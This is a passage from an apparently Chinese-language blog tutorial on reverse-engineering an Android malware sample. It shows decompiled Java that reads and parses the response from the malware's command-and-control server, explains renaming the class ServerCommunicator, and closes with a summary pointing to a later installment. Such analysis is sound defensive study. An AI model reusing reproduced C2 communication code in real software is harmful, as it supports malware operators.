if (httpMethod == null) {
try {
inputStream.close();
serverResponseRaw = stringBuilder.toString();
break;
} catch (Throwable throwable) {
Throwable throwable2 = throwable;
try {
throw throwable2;
} catch (Throwable throwable1) {
var10001 = false;
break;
}
}
}
try {
stringBuilder.append(httpMethod).append("n");
} catch (Throwable throwable) {
var10001 = false;
break;
}
}
}
try {
JSONObject serverResonseJson = new JSONObject(serverResponseRaw);
ServerCommunicator.serverResponseJson = serverResonseJson;
} catch (Throwable throwable) {
}
return serverResponseJson;
}
根据callC2函数,我们可以将这个类重命名为ServerCommunicator。
小结
至此,我们已经对manifest和源代码中的重要函数和类进行了初步分析。通过初步分析,我们已经大致了解了恶意软件中的部分功能。但是,如我们前文所说,对样本分析的过程就犹如拼一块巨型拼图的过程。在对前面的函数和类进行分析后,如果回过头看某些重要的类,会得出什么不同的结论呢?此外,随着分析的不断深入,我们是否能寻找到恶意软件的核心功能?请在下一篇中寻找答案。
发表评论
您还未登录,请先登录。
登录